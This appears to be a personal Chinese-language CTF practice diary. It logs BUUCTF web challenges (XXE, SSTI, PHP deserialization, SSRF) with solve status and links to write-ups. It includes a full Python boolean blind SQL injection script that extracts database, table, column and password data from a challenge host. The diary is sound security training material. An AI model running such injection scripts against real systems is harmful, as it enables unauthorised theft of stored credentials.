2023年3月16日
1.XXE漏洞
没做出来,bp上怎么不显示结果
https://blog.csdn.net/weixin_43553654/article/details/107760067?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EESLANDING%7Edefault-5-107760067-blog-123462682.pc_relevant_landingrelevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EESLANDING%7Edefault-5-107760067-blog-123462682.pc_relevant_landingrelevant&utm_relevant_index=6
2.[BJDCTF2020]Mark loves cat
需要用到kali中disearch工具
https://blog.csdn.net/m0_64118193/article/details/125742457
3.[安洵杯]easy_web
没操作出来
按照网上步骤,右边怎么没反应
4.[WUSTCTF2020]朴实无华1
https://blog.csdn.net/m0_64558270/article/details/127232625?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EAD_ESQUERY%7Eyljh-1-127232625-blog-125450367.pc_relevant_landingrelevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EAD_ESQUERY%7Eyljh-1-127232625-blog-125450367.pc_relevant_landingrelevant&utm_relevant_index=2
成功了
2023年3月17日
5.[]babyupload
一直没成功,是题的问题的感觉
6.[BJDCTF2020]Cookie is so stable 1
模板注入漏洞
https://blog.csdn.net/qq_45557476/article/details/123870289?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-123870289-blog-115442449.pc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-123870289-blog-115442449.pc_relevant_recovery_v2&utm_relevant_index=3
弄不出来
2023年3月20日
[强网杯 2019]高明的黑客 1
https://blog.csdn.net/aoao331198/article/details/124431220
找出来了,但是过程不理解
[安洵杯 2019]easy_serialize_php1
https://blog.csdn.net/xhy18634297976/article/details/123123497
成功了
[ASIS 2019]Unicorn shop1
https://blog.csdn.net/m0_64558270/article/details/127284610
ok
[MRCTF2020]Ezpop1
https://blog.csdn.net/xhy18634297976/article/details/123956924
ok
3/21
[WesternCTF2018]shrine1(模板注入漏洞ssti)
https://blog.csdn.net/shinygod/article/details/123641745
ok
知识点:
https://blog.csdn.net/weixin_43895765/article/details/123904355
[网鼎杯 2020 朱雀组]Nmap1
https://ego00.blog.csdn.net/article/details/109463007?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109463007-blog-115454428.pc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109463007-blog-115454428.pc_relevant_recovery_v2&utm_relevant_index=1
ok
[MRCTF2020]PYWebsite1
https://blog.csdn.net/plant1234/article/details/124206799
ok
[CISCN 2019 初赛]Love Math1
https://blog.csdn.net/plant1234/article/details/125117974
ok
[NPUCTF2020]ReadlezPHP1
https://blog.csdn.net/qq_45619909/article/details/116335631?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167940286316800211539350%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=167940286316800211539350&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-2-116335631-null-null.142^v75^wechat_v2,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=%5BNPUCTF2020%5DReadlezPHP%201&spm=1018.2226.3001.4187
没解决
3/22
[SWPU2019]Web11
https://blog.csdn.net/shinygod/article/details/123681039
ok
[CISCN2019 华东南赛区]Web11
https://blog.csdn.net/weixin_44632787/article/details/118162260
ok
[极客大挑战 2019]FinalSQL
# _*_ coding:utf-8 _*_
# 1.布尔盲注
# 页面有不同的响应word1,word2
import requests
import time
from math import ceil
class SqlInject(object):
headers = {
"headers": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36"
}
data = {}
# @classmethod 修饰符对应的函数不需要实例化,不需要 self 参数,
# 但第一个参数需要是表示自身类的 cls 参数,可以来调用类的属性,类的方法,实例化对象等。
@classmethod
def judge(cls, url):
if bool(SqlInject.data):
result = None
# print(result)
else:
result = requests.get(url=url, headers=SqlInject.headers, timeout=5).text
return result
def __init__(self, url, word1, word2):
self.url = url
self.word1 = word1
self.word2 = word2
# word1 in result we think you get result
def get_Current_Db_Len(self):
for i in range(1, 20):
# Python2.6 开始,新增了一种格式化字符串的函数 str.format(),它增强了字符串格式化的功能。
# 基本语法是通过 {} 和 : 来代替以前的 % 。
# format 函数可以接受不限个参数,位置可以不按顺序。
payload = "?id=1^(length(database())={})^1".format(i)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
print("database len:" + str(i) + "\n")
return i
# 二分法获取数据库名
def get_Current_DbName(self):
table_list = []
# 通常使用的方法就是从第一个开始一直顺序往后面试,但是这样效率很低,因此采用二分法可以快速的锁定
# 就像是order by的思想,刚开始试一个很大的值,然后取一般,然后再取一半的一半,以此类推
Name_len = self.get_Current_Db_Len()
Temp_Len = 0
DbName = ""
try:
while True:
# ASCII可显示字符中最小为32是空格,除去因此从33开始
# 最大为126,是~符号
temp_bottom = 33
temp_top = 126
while True:
# 当前ascii小于temp_top
payload = "?id=1^((ascii(substr(database(),{},1)))<{})^1".format(Temp_Len + 1, temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
# print(final_payload)
if self.word1 in result:
temp_top = (temp_top - ceil((temp_top - temp_bottom) / 2))
# 循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
interval = ceil((temp_top - temp_bottom) / 2)
continue
# 当前ascii大于temp_top
payload = "?id=1^((ascii(substr(database(),{},1)))>{})^1".format(Temp_Len + 1, temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
temp_bottom = temp_top
temp_top = temp_top + interval
continue
# 当前ascii等于temp_top
payload = "?id=1^((ascii(substr(database(),{},1)))={})^1".format(Temp_Len + 1, temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
if interval == 0:
exit("unknown error about variable interval")
if self.word1 in result:
DbName += chr(temp_top)
print("Database_name:" + DbName)
Temp_Len += 1
break
if Temp_Len == Name_len:
table_list.append("Database_name:" + DbName)
break
except Exception as e:
print("Unknown error:", e)
return table_list
def get_CurrentDb_Table_Name(self):
table_list = []
table_name = ""
# 二分法获取每个表名
for i in range(0, 40):
temp_bottom = 33
temp_top = 126
while True:
# 当前ascii小于temp_top
payload = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=%27geek%27)),{},1))<{})^1".format(i+1, temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
# print(final_payload)
if self.word1 in result:
temp_top = (temp_top - ceil((temp_top - temp_bottom) / 2))
# 循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
interval1 = ceil((temp_top - temp_bottom) / 2)
# print(temp_top)
continue
# 当前ascii大于temp_top
payload = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=%27geek%27)),{},1))>{})^1".format(i+1, temp_top)
# print(temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
temp_bottom = temp_top
temp_top = temp_top + interval1
continue
# 当前ascii等于temp_top
payload = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=%27geek%27)),{},1))={})^1".format( i+1, temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
if interval1 == 0:
table_list = table_name.split(",")
print(table_list)
exit("unknown error about variable interval")
if self.word1 in result:
table_name += chr(temp_top)
print("Table_name:" + table_name)
break
return table_list
def get_CurrentTable_Column_Name(self):
columns_list = []
column_name = ""
# 二分法获取每个表名
for i in range(0, 40):
temp_bottom = 33
temp_top = 126
while True:
# 当前ascii小于temp_top
payload = "?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=%27F1naI1y%27)),{},1))<{})^1".format(
i + 1, temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
# print(final_payload)
if self.word1 in result:
temp_top = (temp_top - ceil((temp_top - temp_bottom) / 2))
# 循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
interval1 = ceil((temp_top - temp_bottom) / 2)
# print(temp_top)
continue
# 当前ascii大于temp_top
payload = "?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=%27F1naI1y%27)),{},1))>{})^1".format(
i + 1, temp_top)
# print(temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
temp_bottom = temp_top
temp_top = temp_top + interval1
continue
# 当前ascii等于temp_top
payload = "?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=%27F1naI1y%27)),{},1))={})^1".format(
i + 1, temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
if interval1 == 0:
columns_list = column_name.split(",")
print(columns_list)
exit("unknown error about variable interval")
if self.word1 in result:
column_name += chr(temp_top)
print("Table_name:" + column_name)
break
return columns_list
def get_password(self):
passwd_list = []
passwd_name = ""
# 二分法获取每个表名
for i in range(0, 400):
temp_bottom = 33
temp_top = 126
while True:
# 当前ascii小于temp_top
payload = "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))<{})^1".format(i + 1, temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
# print(final_payload)
if self.word1 in result:
temp_top = (temp_top - ceil((temp_top - temp_bottom) / 2))
# 循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)
interval1 = ceil((temp_top - temp_bottom) / 2)
# print(temp_top)
continue
# 当前ascii大于temp_top
payload = "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})^1".format(i + 1, temp_top)
# print(temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
if self.word1 in result:
temp_bottom = temp_top
temp_top = temp_top + interval1
continue
# 当前ascii等于temp_top
payload = "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))={})^1".format(i + 1, temp_top)
final_payload = self.url + payload
result = SqlInject.judge(final_payload)
if interval1 == 0:
passwd_list = passwd_name.split(",")
print(passwd_list)
exit("unknown error about variable interval")
if self.word1 in result:
passwd_name += chr(temp_top)
print("Table_name:" + passwd_name)
break
return passwd_list
def main():
url = "http://255af9dc-946b-4a35-b528-f28581dd608f.node3.buuoj.cn/search.php"
word1 = "NO! Not this! Click others~~~"
word2 = "ERROR!!!"
sqli = SqlInject(url=url, word1=word1, word2=word2)
one = float(time.time())
print(sqli.get_Current_Db_Len())
# print(sqli.get_Current_DbName())
# print(sqli.get_CurrentDb_Table_Number())
# print(sqli.get_CurrentDb_Table_Name())
# print(sqli.get_CurrentTable_Column_Name())
print(sqli.get_password())
if __name__ == '__main__':
main()
https://blog.csdn.net/qq_35015835/article/details/109920957?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109920957-blog-127046725.235%5Ev26%5Epc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-109920957-blog-127046725.235%5Ev26%5Epc_relevant_recovery_v2&utm_relevant_index=1
3/23
[BSidesCF 2019]Futurella1
直接在源码里,好简单啊
[De1CTF 2019]SSRF Me1
https://blog.csdn.net/plant1234/article/details/123999788
没解出来
[BSidesCF 2019]Kookie 1
https://blog.csdn.net/plant1234/article/details/125435828
[BJDCTF2020]EasySearch1
没有做出来
4/10
[SUCTF 2019]Pythonginx1
前面几步都能出来,不知道最后为什么出问题
[0CTF 2016]piapiapia1
没有做出来